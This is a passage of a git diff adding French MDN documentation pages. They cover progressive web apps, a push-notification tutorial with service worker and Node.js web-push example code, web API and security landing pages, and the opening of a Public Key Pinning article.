+  <tr>
+   <th scope="col">Technologie</th>
+   <th scope="col">Description</th>
+   <th scope="col">Résumé du support</th>
+   <th scope="col">Dernière spécification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/fr/docs/Web/API/Service_Worker_API">Service workers</a></td>
+   <td>
+    <p>JavaScript fonctionne dans un contexte de travail particulier qui est lancé par le navigateur sous certaines circonstances comme la récupération (<em>fetch</em>) et l'envoi (<em>push</em>) d'évènements. Ceci permet au service worker d'intercepter des réponses et de les personnaliser, de toutes les façons que vous le souhaitez, par exemple mettre en cache des ressources pour un usage hors-ligne avant qu'elles ne soit servies.</p>
+   </td>
+   <td>Expérimental: Chrome et Firefox (<a href="/fr/docs/Web/API/Service_Worker_API#Browser_compatibility">plus de détails</a>)</td>
+   <td>{{SpecName('Service Workers')}}</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/API/Push_API">API Push</a></td>
+   <td>Après s'être inscrit, le service <em>Push</em> fournit un point de terminaison utilisable par le serveur pour transmettre des messages à une application web controlée par un <em>service worker</em> particulier.</td>
+   <td>Expérimental: chrome et Firefox (<a href="/fr/docs/Web/API/Push_API#Browser_Compatibility">plus de détails</a>)</td>
+   <td>{{SpecName("Push API")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/API/Notifications_API">API Notifications</a></td>
+   <td>Lancer des notifications systèmes directement depuis les applications web.</td>
+   <td>Répandu dans les navigateurs modernes  (<a href="/fr/docs/Web/API/Notifications_API#Browser_compatibility">plus de détails</a>)</td>
+   <td>{{SpecName('Web Notifications')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Outils">Outils</h2>
+
+<dl>
+ <dt><a class="external" href="https://github.com/fxos-components/serviceworkerware">ServiceWorkerWare</a></dt>
+ <dd>Un micro-framework similaire à <em>Express</em> pour le développement simple d'un <em>service worker</em>.</dd>
+ <dt><a class="external" href="https://github.com/mozilla/oghliner" lang="en">oghliner</a></dt>
+ <dd>Pas seulement un template mais un outil permettant de déployer des applications web hors-ligne sur GitHub Pages.</dd>
+ <dt><a class="external" href="https://github.com/GoogleChrome/sw-precache" lang="en">sw-precache</a></dt>
+ <dd>Un module Node pour générer le code d'un <em>service worker</em> qui va mettre en pré-cache des ressources spécifiques.</dd>
+</dl>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<dl>
+ <dt><a class="external" href="https://serviceworke.rs/" lang="en">The service worker cookbook</a></dt>
+ <dd>Une série de très bonnes ressources concernant les service worker, montrant comment implémenter une application web hors-ligne, et plus encore.</dd>
+</dl>
diff --git a/files/fr/web/progressive_web_apps/relancer_via_notifications_push/index.html b/files/fr/web/progressive_web_apps/relancer_via_notifications_push/index.html
new file mode 100644
index 0000000000..e656d29cde
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/relancer_via_notifications_push/index.html
@@ -0,0 +1,245 @@
+---
+title: >-
+  Comment faire pour que les PWAs relancent les utilisateurs en utilisant des
+  notifications et des messages poussés
+slug: Web/Progressive_web_apps/Relancer_Via_Notifications_Push
+translation_of: Web/Progressive_web_apps/Re-engageable_Notifications_Push
+---
+<div>{{PreviousMenuNext("Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive/Loading", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">Avoir la possibilité de mettre en cache le contenu d'une application pour travailler en mode déconnecté est une formidable fonctionnalité. Donner la possibilité à l'utilisateur d'installer l'application web sur son écran d'accueil est encore mieux. Mais plutôt que de s'en remettre seulement aux actions de l'utilisateur, nous pouvons faire plus, en utilisant des messages poussés et des notifications pour le relancer automatiquement et fournir des nouveaux contenus à chaque fois qu'ils sont disponibles.</p>
+
+<h2 id="Deux_APIs_un_seul_but">Deux APIs, un seul but</h2>
+
+<p>L'<a href="/en-US/docs/Web/API/Push_API">API Push</a> et l'<a href="/en-US/docs/Web/API/Notifications_API">API Notifications</a> sont deux APIs distinctes mais elles fonctionnent bien ensemble quand vous souhaitez fournir une fonction de relance dans votre application. Push est utilisée pour délivrer un nouveau contenu à votre application depuis le serveur sans aucune intervention côté client et cette opération est gérée par le service worker de l'application. Les notifications peuvent être utilisées par le service worker pour afficher les nouvelles informations à l'utilisateur, ou, au moins, le prévenir que quelque chose a été mis à jour.</p>
+
+<p>Cela s'exécute hors de la fenêtre du navigateur, juste comme les service workers, si bien que des mises à jour peuvent être poussées et des notifications peuvent être affichées quand la page de l'application n'a pas le focus voire fermée.</p>
+
+<h2 id="Notifications">Notifications</h2>
+
+<p>Commençons avec les notifications — elles peuvent fonctionner sans push, mais sont très utiles quand elles sont combinées avec. Voyons-les de façon isolée pour commencer.</p>
+
+<h3 id="Demande_de_permission">Demande de permission</h3>
+
+<p>Pour afficher une notification, nous devons d'abord demander la permission de le faire. Cependant, au lieu de d'afficher la notification immédiatement, une meilleure pratique consiste à n'afficher la fenêtre popup quand l'utilisateur le demande en cliquant sur un bouton:</p>
+
+<pre class="brush: js">var button = document.getElementById("notifications");
+button.addEventListener('click', function(e) {
+    Notification.requestPermission().then(function(result) {
+        if(result === 'granted') {
+            randomNotification();
+        }
+    });
+});</pre>
+
+<p>Ceci affiche une popup en utilisant le propre service de notification du système d'exploitation:</p>
+
+<p><img alt="Notification of js13kPWA." src="https://mdn.mozillademos.org/files/15930/js13kpwa-notification.png" style="display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>Une fois que l'utilisateur a confirmé qu'il veut recevoir des notifications, l'application peut alors lui afficher. Le résultat de l'action de l'utilisateur peut être default (défault), granted (autorisé) ou denied (interdit). L'option default est choisi quand l'utilisateur n'a pas fait de choix et les deux autres sont sélectionnées selon que l'utilisateur a respectivement cliqué sur oui ou non.</p>
+
+<p>Si la permission est donnée, elle vaut à la fois pour les notifications et les push.</p>
+
+<h3 id="Créer_une_notification">Créer une notification</h3>
+
+<p>L'application exemple crée une notification en utilisant les données disponibles — un jeu est choisi au hasard et les données associées sont utilisées pour générer le contenu de la notification: le nom du jeu pour le titre, la mention de l'auteur dans le corps du texte et l'image pour l'icone:</p>
+
+<pre class="brush: js">function randomNotification() {
+    var randomItem = Math.floor(Math.random()*games.length);
+    var notifTitle = games[randomItem].name;
+    var notifBody = 'Créé par '+games[randomItem].author+'.';
+    var notifImg = 'data/img/'+games[randomItem].slug+'.jpg';
+    var options = {
+        body: notifBody,
+        icon: notifImg
+    }
+    var notif = new Notification(notifTitle, options);
+    setTimeout(randomNotification, 30000);
+}</pre>
+
+<p>Une nouvelle notification est créée au hasard toutes les 30 secondes jusqu'à ce que ça devienne trop pénible et que ce soit désactivé par l'utilisateur (pour une vraie application, les notifications devraient être moins fréquentes et plus utiles). L'avantage de l'API Notifications est qu'elle utilise la fonction de notification du système d'exploitation. Ceci signifie que les notifications peuvent être affichées à l'utilisateur même quand il ne regarde pas l'application et que les notifications ont le même aspect que celles affichées par les applications natives.</p>
+
+<h2 id="Push">Push</h2>
+
+<p>Pousser (push) est plus compliqué que de faire des notifications — nous avons besoin de nous abonner à un serveur qui enverra ensuite les données en retour à l'application. Le Service Worker de l'application recevra les données du serveur qui les a poussées et pourra ensuite les afficher en utilisant le système de notifications ou un autre mécanisme si on le souhaite.</p>
+
+<p>La technologie en est toujours à ses tous débuts — certains exemples fonctionnels utilisent la plateforme Cloud de messagerie de Google, mais elles sont en cours de réécriture pour prendre en charge <a href="https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/">VAPID</a> (Voluntary Application Identification) qui offre une couche de sécurité supplémentaire pour votre application. Vous pouvez étudier les <a href="https://serviceworke.rs/push-payload.html">exemples du Cookbook des Service Workers</a>, essayer de mettre en place un serveur d'émission de messages utilisant <a href="https://firebase.google.com/">Firebase</a> ou construire votre propre serveur (en utilisant Node.js par exemple).</p>
+
+<p>Comme mentionné précédemment, pour être capable de recevoir des messages poussés, vous devez avoir un service worker dont les fondamentaux ont déjà été expliqué dans l'article  <a href="/en-US/docs/Web/Apps/Progressive/Offline_Service_workers">Permettre aux PWAs de fonctionner en mode déconnecté grâce aux Service workers</a>. A l'intérieur du service worker, un mécanisme de souscription à un service d'émission est créé.</p>
+
+<pre class="brush: js">registration.pushManager.getSubscription() .then( /* ... */ );</pre>
+
+<p>Une fois que l'utilisateur est enrôlé, il peut recevoir des notifications poussées du serveur.</p>
+
+<p>Du côté serveur, le processus tout entier doit être chiffré avec des clefs publique et privée par raison de sécurité — permettre à tout le monde d'envoyer des messages poussés non sécurisés en utilisant votre application serait une terrible idée. Voir la <a href="https://jrconlin.github.io/WebPushDataTestPage/">page de test de chffirement des données web poussées</a> pour avoir des informations détaillées concernant la sécurisation du serveur. Le serveur enregistre toutes les informations reçues quand un utilisateur s'enregistre si bien que les messages peuvent être envoyés plus tard quand c'est nécessaire.</p>
+
+<p>Pour recevoir des messages poussés, nous pouvons écouter l'événement {{event("push")}} dans le fichier du Service Worker:</p>
+
+<pre class="brush: js">self.addEventListener('push', function(e) { /* ... */ });</pre>
+
+<p>Les données peuvent être récupérées puis affichées immédiatement à l'utilisateur sous forme d'une notification. Ceci, par exemple, peut être utilisé pour rappeler à l'utilisateur quelque chose ou pour l'informer d'un nouveau contenu disponible dans l'application.</p>
+
+<h3 id="Exemple_de_Push">Exemple de Push</h3>
+
+<p>Push requiert que la partie serveur fonctionne, donc nous ne pouvons pas l'inclure dans l'exemple js13kPWA hébergé dans les pages GitHub puisqu'elles ne permettent de servir que des fichiers statiques. C'est entièrement expliqué dans le <a href="https://serviceworke.rs/">Service Worker Cookbook</a> — voir la<a href="https://serviceworke.rs/push-payload.html"> démonstration de charge utile poussée</a>.</p>
+
+<p>Cette démonstration comporte trois fichiers:</p>
+
+<ul>
+ <li><a href="https://github.com/mozilla/serviceworker-cookbook/blob/master/push-payload/index.js">index.js</a>, qui contient le code source de notre application</li>
+ <li><a href="https://github.com/mozilla/serviceworker-cookbook/blob/master/push-payload/server.js">server.js</a>, qui contient la partie serveur (écrit en Node.js)</li>
+ <li><a href="https://github.com/mozilla/serviceworker-cookbook/blob/master/push-payload/service-worker.js">service-worker.js</a>, qui contient le code spécifique du Service Worker.</li>
+</ul>
+
+<p>Explorons tout ceci</p>
+
+<h4 id="index.js">index.js</h4>
+
+<p>Le fichier <code>index.js</code> commence par enregistrer le service worker:</p>
+
+<pre class="brush: js">navigator.serviceWorker.register('service-worker.js')
+.then(function(registration) {
+  return registration.pushManager.getSubscription()
+  .then(async function(registration) {
+      // partie relative à l'enregistrement
+  });
+})
+.then(function(subscription) {
+    // partie relative à l'abonnement
+});</pre>
+
+<p>C'est un petit peu plus compliqué que le service worker que nous avons vu dans la <a href="https://mdn.github.io/pwa-examples/js13kpwa/">démonstration de js13kPWA</a>. Dans ce cas particulier, après l'enregistrement, nous utilisons l'objet d'enregistrement pour s'abonner puis utiliser ensuite l'objet d'abonnement résultant pour achever le processus complet.</p>
+
+<p>Dans la partie enregistrement, le code ressemble à ceci:</p>
+
+<pre class="brush: js">if(registration) {
+    return registration;
+}</pre>
+
+<p>Si l'utilisateur s'est déjà abonné, nous renvoyons alors l'objet de souscription et accède à la partir de la souscription. Si ce n'est pas le cas, nous initialisation une nouvelle souscription:</p>
+
+<pre class="brush: js">const response = await fetch('./vapidPublicKey');
+const vapidPublicKey = await response.text();
+const convertedVapidKey = urlBase64ToUint8Array(vapidPublicKey);</pre>
+
+<p>L'application récupère la clef publique du serveur et convertit la réponse sous forme de texte; puis cette réponse doit être convertie en un tableau de nombre entier non signé (Uint8Array (pour une prise en charge par Chrome). Pour en apprendre davantage sur les clefs VAPID, vous pouvez lire le message de blog <a href="https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/">Envoyer des notifications WebPush identitées par VAPID via le service de Push de Mozilla</a>.</p>
+
+<p>L'application peut maintenant utiliser le {{domxref("PushManager")}} pour abonner le nouvel utilisateur. Il y a deux options passées à la méthode {{domxref("PushManager.subscribe()")}}  — la première est <code>userVisibleOnly: true</code>, qui signifie que toutes les notifications envoyées à l'utilisateur lui seront visibles et la seconde est <code>applicationServerKey</code>, qui contient notre clef VAPID une fois récupérée et convertie avec succès.</p>
+
+<pre class="brush: js">return registration.pushManager.subscribe({
+    userVisibleOnly: true,
+    applicationServerKey: convertedVapidKey
+});</pre>
+
+<p>Maintenant, allons voir la partie abonnement — l'application envoie d'abord les détails de l'abonnement au format JSON au serveur en utilisant Fetch.</p>
+
+<pre class="brush: js">fetch('./register', {
+    method: 'post',
+    headers: {
+        'Content-type': 'application/json'
+    },
+    body: JSON.stringify({
+        subscription: subscription
+    }),
+});</pre>
+
+<p>Puis la fonction {{domxref("onclick","GlobalEventHandlers.onclick")}} du bouton <em>Abonnement</em> est définie:</p>
+
+<pre class="brush: js">document.getElementById('doIt').onclick = function() {
+    const payload = document.getElementById('notification-payload').value;
+    const delay = document.getElementById('notification-delay').value;
+    const ttl = document.getElementById('notification-ttl').value;
+
+    fetch('./sendNotification', {
+        method: 'post',
+        headers: {
+            'Content-type': 'application/json'
+        },
+        body: JSON.stringify({
+            subscription: subscription,
+            payload: payload,
+            delay: delay,
+            ttl: ttl,
+        }),
+    });
+};</pre>
+
+<p>Quand le bouton est cliqué,  <code>fetch</code> demande au serveur d'envoyer la notification avec les paramètres suivants: <code>payload</code> est le contenu que la notification doir afficher, <code>delay</code> définit un délai en seconde avant que la notification soit affichée et <code>ttl</code> indique en seconde le temps que cette notification doit rester disponible sur le serveur.</p>
+
+<p>Au tour maintenant du fichier Javascript suivant.</p>
+
+<h4 id="server.js">server.js</h4>
+
+<p>La partie serveur est écrite en Node.js et doit être hébergée à un endroit adapté, sujet qui fera l'objet d'un article qui lui entièrement consacré. Nous ne fournirons ici qu'un aperçu superficiel.</p>
+
+<p>Le <a href="https://www.npmjs.com/package/web-push">module web-pus</a> est utilisé pour configurer les clefs VAPID keys et éventuellement les générer si elles ne sont pas encore disponibles.</p>
+
+<pre class="brush: js">const webPush = require('web-push');
+
+if (!process.env.VAPID_PUBLIC_KEY || !process.env.VAPID_PRIVATE_KEY) {
+  console.log("Vous devez configurer les variables d'environnement " +
+  "VAPID_PUBLIC_KEY et VAPID_PRIVATE_KEY."+
+    "Vous pouvez utiliser celles-ci:");
+  console.log(webPush.generateVAPIDKeys());
+  return;
+}
+
+webPush.setVapidDetails(
+  'https://serviceworke.rs/',
+  process.env.VAPID_PUBLIC_KEY,
+  process.env.VAPID_PRIVATE_KEY
+);
+</pre>
+
+<p>Ensuite, un module définit et exporte toutes les routes que l'application doit prendre en charge: obtenir la clef publique VAPID, l'enregistrement puis l'envoi de notifications. Vous pouvez voir comment les variables du fichier <code>index.js</code> sont utilisées: <code>payload</code>, <code>delay</code> et <code>ttl</code>.</p>
+
+<pre class="brush: js">module.exports = function(app, route) {
+  app.get(route + 'vapidPublicKey', function(req, res) {
+    res.send(process.env.VAPID_PUBLIC_KEY);
+  });
+
+  app.post(route + 'register', function(req, res) {
+
+    res.sendStatus(201);
+  });
+
+  app.post(route + 'sendNotification', function(req, res) {
+    const subscription = req.body.subscription;
+    const payload = req.body.payload;
+    const options = {
+      TTL: req.body.ttl
+    };
+
+    setTimeout(function() {
+      webPush.sendNotification(subscription, payload, options)
+      .then(function() {
+        res.sendStatus(201);
+      })
+      .catch(function(error) {
+        console.log(error);
+        res.sendStatus(500);
+      });
+    }, req.body.delay * 1000);
+  });
+};</pre>
+
+<h4 id="service-worker.js">service-worker.js</h4>
+
+<p>Le dernier fichier que nous allons regarder est celui du service worker:</p>
+
+<pre class="brush: js">self.addEventListener('push', function(event) {
+    const payload = event.data ? event.data.text() : 'no payload';
+    event.waitUntil(
+        self.registration.showNotification('ServiceWorker Cookbook', {
+            body: payload,
+        })
+    );
+});</pre>
+
+<p>Tout ce qu'il est est d'ajouter une écoute sur l'événément {{event("push")}}, créer la variable de charge utile constituée du texte récupéré depuis les données (ou de créer une chaîne de caractères à utiliser si les données sont vides) puis d'attendre jusqu'à ce que la notfication soit montrée à l'utilisateur.</p>
+
+<p>N'hésitez pas à explorer le reste des exemples du <a href="https://serviceworke.rs/">Service Worker Cookbook</a> si vous voulez savoir comment ils sont gérés — le <a href="https://github.com/mozilla/serviceworker-cookbook/">code source complet est disponible sur on GitHub</a>. Il y a une vaste collection d'exemples fonctionnels démontrant l'usage général ainsi que le push webn les stratégies de mise en cache, la question des performances, le fonctionnement en mode déconnecté et plus encore.</p>
+
+<p>{{PreviousMenuNext("Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive/Loading", "Web/Apps/Progressive")}}</p>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}</div>
diff --git a/files/fr/web/progressive_web_apps/securisee/index.html b/files/fr/web/progressive_web_apps/securisee/index.html
new file mode 100644
index 0000000000..f5c892830f
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/securisee/index.html
@@ -0,0 +1,33 @@
+---
+title: Sécurisée
+slug: Web/Progressive_web_apps/Securisee
+tags:
+  - Applications
+  - Applications web modernes
+  - Applications web progressives
+  - HTTPS
+  - Sécurité
+  - Web
+translation_of: Web/Progressive_web_apps
+---
+<div class="column-container summary">
+<div class="column-11">La plateforme Web fournit un mécanisme sécurisé de livraison permettant d'éviter l'infiltration et s'assurer que le contenu n'a pas été altéré - aussi longtemps que vous bénéficiez de l'avantage du HTTPS et que vous développez votre application avec la sécurité à l'esprit.</div>
+
+<div class="column-1"><img alt="" src="https://mdn.mozillademos.org/files/12664/safe.svg" style="height: 40px; width: 38px;"></div>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<p>Aucun document actuellement; les contributions sont les bienvenues.</p>
+
+<h2 id="Technologies">Technologies</h2>
+
+<p>Pas besoin de nouvelle technologie - Le Web a toujours fonctionné comme ça !</p>
+
+<h2 id="Outils">Outils</h2>
+
+<p><em>Ajouter un lien vers un outils ou une bibliothèque utile.</em></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p><em>Ajouter un lien vers des informations liées</em>.</p>
diff --git a/files/fr/web/reference/api/index.html b/files/fr/web/reference/api/index.html
new file mode 100644
index 0000000000..36d1caee9c
--- /dev/null
+++ b/files/fr/web/reference/api/index.html
@@ -0,0 +1,60 @@
+---
+title: Référence des API du Web
+slug: Web/Reference/API
+translation_of: Web/Reference/API
+---
+<p><span class="seoSummary">Le Web offre une grande variété d'API pour effectuer diverses tâches utiles. Ceux-ci peuvent être accessibles en utilisant le code JavaScript, et vous permettent de faire tout ce que vous voulez, depuis des ajustements mineurs sur un {{domxref ("window")}} ou un {{domxref ("element")}}, jusqu'à générer des effets graphiques et sonores complexes en utilisant des API telles que <a href="/fr/docs/Web/WebGL">WebGL</a> et <a href="/fr/docs/Web/API/Web_Audio_API">Web Audio</a> .</span></p>
+
+<p>Chaque interface individuelle dans toutes les API est listée dans l'<a href="/fr/docs/Web/API">index.</a></p>
+
+<p>Il y a aussi une <a href="/fr/docs/Web/Events">liste de tous les événements disponibles</a> dans la référence des événements.</p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/fr/docs/Web/API/Référence_du_DOM_Gecko">Document Object Model</a></dt>
+ <dd>Le DOM est une API qui permet l'accès et la modification du document actuel. Il permet la manipulation des {{domxref ("Node")}} et {{domxref ("Element")}} du document. HTML, XML et SVG l'ont étendu pour manipuler leurs éléments spécifiques.</dd>
+ <dt>API de l'appareil</dt>
+ <dd>Cet ensemble d'API permet d'accéder à diverses fonctions matérielles disponibles pour les pages web et les applications. Par exemple <a href="/fr/docs/WebAPI/Utiliser_les_événéments_de_luminosité">API capteur de lumière ambiante</a>, <a href="/fr/docs/WebAPI/Battery_Status" title="WebAPI / Battery_Status">API état ​​de la batterie</a>, <a href="/fr/docs/Using_geolocation" title="Using_geolocation">API de géolocalisation</a>, <a href="/fr/docs/WebAPI/Pointer_Lock" title="API / Pointer_Lock_API">API verrouillage du pointeur</a>, <a href="/fr/docs/WebAPI/Proximity" title="WebAPI / Proximité">API de proximité</a>, <a href="/fr/docs/WebAPI/Detecting_device_orientation" title="WebAPI / Detecting_device_orientation">API d'orientation de l'appareil</a> , <a href="/fr/docs/WebAPI/Managing_screen_orientation" title="WebAPI / Detecting_device_orientation">API orientation de l'écran</a>, <a href="/fr/docs/WebAPI/Vibration" title="WebAPI / WebBluetooth">API de vibration</a>.</dd>
+ <dt>API de communication</dt>
+ <dd>Ces API permettent aux pages web et applications de communiquer avec d'autres pages ou dispositifs. Par exemple, <a href="/fr/docs/WebAPI/Network_Information" title="WebAPI / RÉSEAU_INFOS">API d'informations réseau</a>, <a href="/fr/docs/WebAPI/Using_Web_Notifications" title="/ En-US/docs/WebAPI/Using_Web_Notifications">Notifications Web</a>, <a href="/fr/docs/Web/API/Simple_Push_API" title="WebAPI / Push_Notifications">API Simple Push</a> .</dd>
+ <dt id="Data_management_APIs">API de gestion des données</dt>
+ <dd>Les données utilisateur peuvent être stockées et gérées en utilisant cet ensemble d'API. Par exemple <a href="/fr/docs/Web/API/File_Handle_API" title="WebAPI / FileHandle_API">FileHandle API</a>, <a href="/fr/docs/IndexedDB" title="IndexedDB">IndexedDB</a>.</dd>
+</dl>
+
+<p>En plus de ces API qui sont disponibles pour n'importe quel site Web ou application, de plus puissantes API Mozilla sont disponibles pour les applications privilégiées et certifiées.</p>
+
+<dl>
+ <dt>API privilégiés</dt>
+ <dd>Une application privilégiée est une application installée, a laquelle l'utilisateur a donné des droits spécifiques. Les API privilégiés comprennent : <a href="/fr/docs/Web/API/TCP_Socket_API" title="WebAPI / TCP_Socket">API Socket TCP</a>,  <a href="/fr/docs/Web/API/Contacts_API" title="WebAPI / contacts">API Contacts</a>, <a href="/fr/docs/Web/API/Device_Storage_API" title="WebAPI / Device_Storage_API">API de stockage de l'appareil</a>, <a href="/fr/docs/WebAPI/Browser" title="DOM / Using_the_Browser_API">API du navigateur</a>,</dd>
+ <dt>API certifiées</dt>
+ <dd>Une application certifiée est une application de bas niveau effectuant des opérations critiques sur un système d'exploitation comme Firefox OS. L'application moins privilégiée interagit avec ces applications en utilisant des <a href="/fr/docs/Web/API/Web_Activities" title="WebAPI / Web_Activities">Activités Web</a>. Les API certifiés comprennent : <a href="/fr/docs/WebAPI/WebBluetooth" title="WebAPI / WebBluetooth">API Bluetooth</a>, <a href="/fr/docs/WebAPI/Mobile_Connection" title="WebAPI / Mobile_Connection">API de connexion mobile</a>, <a href="/fr/docs/WebAPI/Network_Stats" title="WebAPI / Network_Stats">API Statistiques réseau</a>, <a href="/fr/docs/Web/Guide/Telephony" title="WebAPI / WebTelephony">téléphonie</a>, <a href="/fr/docs/WebAPI/WebSMS" title="WebAPI / WebSMS">SMS par Internet</a>, <a href="/fr/docs/WebAPI/WiFi_Information" title="WebAPI / WiFi_Information">API Informations WiFi</a>, <a href="/fr/docs/WebAPI/Camera" title="WebAPI / caméra">API de l'appareil photo</a>, <a href="/fr/docs/WebAPI/Power_Management" title="WebAPI / Power_Management">API de gestion de l'alimentation</a>, <a href="/fr/docs/Web/API/Settings_API" title="WebAPI / Paramètres">API Paramètres</a>, <a href="/fr/docs/WebAPI/Idle" title="WebAPI / Device_Storage_API">API veille</a>, <a href="/fr/docs/Web/API/Permissions_API" title="WebAPI / Autorisations">API Autorisations</a>, <a href="/fr/docs/Web/API/Time_and_Clock_API" title="WebAPI / Time_and_Clock">API Horloge</a>.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Community" id="Communauté">Communauté</h2>
+
+<p>Rejoignez la communauté API Web sur notre liste de diffusion ou groupe de discussion:</p>
+
+<ul>
+ <li><a class="external" href="https://lists.mozilla.org/listinfo/dev-webapi">comme une liste de diffusion</a></li>
+ <li><a href="news://news.mozilla.org/mozilla.dev.webapi">comme un groupe de discussion</a></li>
+ <li><a class="external" href="http://groups.google.com/group/mozilla.dev.webapi">comme groupe Google</a></li>
+ <li><a class="external" href="http://groups.google.com/group/mozilla.dev.webapi/feeds">comme un flux Web</a></li>
+</ul>
+
+<p>Aussi, n'oubliez pas de vous joindre à la discussion en direct dans le <a href="irc://irc.mozilla.org/webapi">WebAPI #</a> canal <a class="external" href="https://wiki.mozilla.org/IRC">IRC</a> .</p>
+
+<h2 class="Related_Topics" id="Rubriques_connexes">Rubriques connexes</h2>
+
+<p>Ces sujets pourraient également vous intéresser :</p>
+
+<ul>
+ <li><a href="">Index de toutes les interfaces API Web</a></li>
+ <li> </li>
+</ul>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/fr/web/reference/index.html b/files/fr/web/reference/index.html
new file mode 100644
index 0000000000..4d03e4b2c5
--- /dev/null
+++ b/files/fr/web/reference/index.html
@@ -0,0 +1,29 @@
+---
+title: Référence des technologies web
+slug: Web/Reference
+tags:
+  - Landing
+  - Reference
+  - Technologies
+  - Web
+translation_of: Web/Reference
+---
+<p><span class="seoSummary">Le Web est construit à partir de plusieurs technologies qui, combinées ensemble, permettent de créer des sites simples ou des applications web puissantes. Ci-après, vous trouverez des liens vers la documentation relative à chacune de ces technologies.</span></p>
+
+<div id="Web_technologies">
+<p>Si vous commencez le développement web, vous pouvez <a href="/fr/docs/Apprendre/Commencer_avec_le_web">démarrer avec notre section liée à l'apprentissage</a> où vous trouverez des tutoriels pour gravir les niveaux !</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/HTML">HTML</a> — Structurer le Web</dt>
+ <dd><strong>HTML </strong>(ou <strong><em>HyperText Markup Language</em></strong> soit "langage de balisage hypertexte") est utilisé afin de définir et de décrire "sémantiquement" le contenu (balisage) d'une page web dans un format structuré. HTML permet de construire des documents structurés à l'aide de bloc appelés <a href="/fr/docs/Web/HTML/Element">éléments HTML</a> délimités par des <em>balises</em> (indiquées entre chevrons (&lt;)(&gt;)). Certaines balises ajoutent directement du contenu à la page tandis que d'autres fournissent des informations quant au document voire contiennent d'autres éléments. Les balises elles-mêmes ne sont pas affichées dans la page finale via le navigateur, elles servent uniquement à structurer le contenu.<br>
+ <br>
+ <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">Introduction à HTML</a> | <a href="/fr/docs/Apprendre/HTML">Apprendre HTML</a> | <a href="/fr/docs/Web/Guide/HTML/HTML5">HTML5</a> | <a href="/fr/docs/Apprendre/HTML">Guide de développement</a> | <a href="/fr/docs/Web/HTML/Element">Référence des éléments</a> | <a href="/fr/docs/Web/HTML/Reference">Référence</a></dd>
+ <dt><a href="/fr/docs/Web/CSS">CSS</a> — Mettre en forme le Web</dt>
+ <dd><strong>CSS</strong> (ou <strong><em>Cascading Style Sheets</em></strong> soit "feuilles de style en cascade") est un langage utilisé afin de décrire l'apparence du contenu web.<br>
+ <br>
+ <a href="/fr/docs/Learn/CSS/First_steps">Introduction à CSS</a> | <a href="/fr/docs/Learn/CSS/First_steps">Démarrer avec CSS</a> | <a href="/fr/docs/Apprendre/CSS">Apprendre CSS</a>  | <a href="/fr/docs/Web/CSS/CSS_questions_frequentes">Questions fréquentes sur CSS</a> | <a href="/fr/docs/Web/CSS/Reference">Référence</a></dd>
+ <dt><a href="/fr/docs/Web/JavaScript">JavaScript</a> — Aspect dynamique côté client</dt>
+ <dd>Le langage de programmation <strong>JavaScript</strong> est utilisé afin d'ajouter de l'interactivité et certaines fonctionnalités dynamiques aux sites web.</dd>
+ <dd><a href="/fr/docs/Apprendre/JavaScript">Apprendre JavaScript</a> | <a href="/fr/docs/Web/JavaScript/Guide">Guide de développement </a>| <a href="/fr/docs/Web/JavaScript/Reference">Référence</a></dd>
+</dl>
+</div>
diff --git a/files/fr/web/security/index.html b/files/fr/web/security/index.html
new file mode 100644
index 0000000000..7cb67bdad9
--- /dev/null
+++ b/files/fr/web/security/index.html
@@ -0,0 +1,24 @@
+---
+title: Sécurité Web
+slug: Web/Security
+tags:
+  - Landing
+  - Security
+  - Web
+translation_of: Web/Security
+---
+<div class="summary">
+<p><span class="seoSummary">La sécurité d'un site internet ou d'une application web est essentielle. Même de simple bugs dans votre code peuvent impliquer la fuite d'informations privées et des personnes mals intentionnées essayent constamment de trouver des moyens de voler des données. Les articles sur la sécurité web listés ici fournissent des informations qui devraient vous aider à sécuriser votre site et rendre votre code plus sûr contre les attaques et vols de données.</span></p>
+</div>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-security">Liste de diffusion (<em>mailing list</em>) (en anglais)</a></li>
+ <li><a href="https://blog.mozilla.com/security/">Blog</a></li>
+ <li><a href="https://twitter.com/mozsec">@mozsec on Twitter</a></li>
+</ul>
+
+<p>{{QuickLinksWithSubpages}}</p>
diff --git a/files/fr/web/security/public_key_pinning/index.html b/files/fr/web/security/public_key_pinning/index.html
new file mode 100644
index 0000000000..287455b2e0
--- /dev/null
+++ b/files/fr/web/security/public_key_pinning/index.html
@@ -0,0 +1,170 @@
+---
+title: Public Key Pinning
+slug: Web/Security/Public_Key_Pinning
+tags:
+  - HTTPS
+  - Référence(2)
+  - Sécurité
+translation_of: Web/HTTP/Public_Key_Pinning
+---
+<p class="summary"><span class="seoSummary">L'extention <strong>Public Key Pinning pour HTTP</strong> (HPKP) est une fonctionnalité de sécurité qui dit au client web d'associer une clé publique cryptographique avec un certain serveur web pour éviter les attaques <a href="https://fr.wikipedia.org/wiki/Attaque_de_l%27homme_du_milieu">MITM</a> avec des certificats contrefaits.</span></p>
+
+<div class="note">
+<p><strong>Note :</strong> La Public Key Pinning décrite ici est différente du limité <a href="http://monica-at-mozilla.blogspot.de/2014/08/firefox-32-supports-public-key-pinning.html">preload list based key pinning</a> introduit dans Firefox 32.</p>
+</div>
+
